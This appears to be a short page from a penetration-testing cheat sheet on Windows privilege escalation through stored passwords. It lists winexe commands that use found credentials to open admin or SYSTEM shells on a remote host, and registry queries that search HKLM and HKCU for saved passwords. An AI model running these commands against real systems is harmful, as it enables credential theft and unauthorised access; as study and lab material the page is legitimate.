> For the complete documentation index, see [llms.txt](https://coffeetohack.gitbook.io/coffeetohack/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://coffeetohack.gitbook.io/coffeetohack/windows/passwords.md).

# Stored Passwords

If you find any stored credentials, then you can use **winexe** to get a shell:

```
#If the user is admin then u will get a admin shell using this:
winexe -U 'admin%pass' //10.10.10.10 cmd.exe

#If the user is admin then u will get a system shell using this:
winexe -U 'admin%pass' --system //10.10.10.10 cmd.exe

#You can even query the whole registry manually:
reg query HKLM /f password /t REG_SZ /s (Search Local Machine registry)
reg query HKCU /f password /t REG_SZ /s (Search Current User registry)
```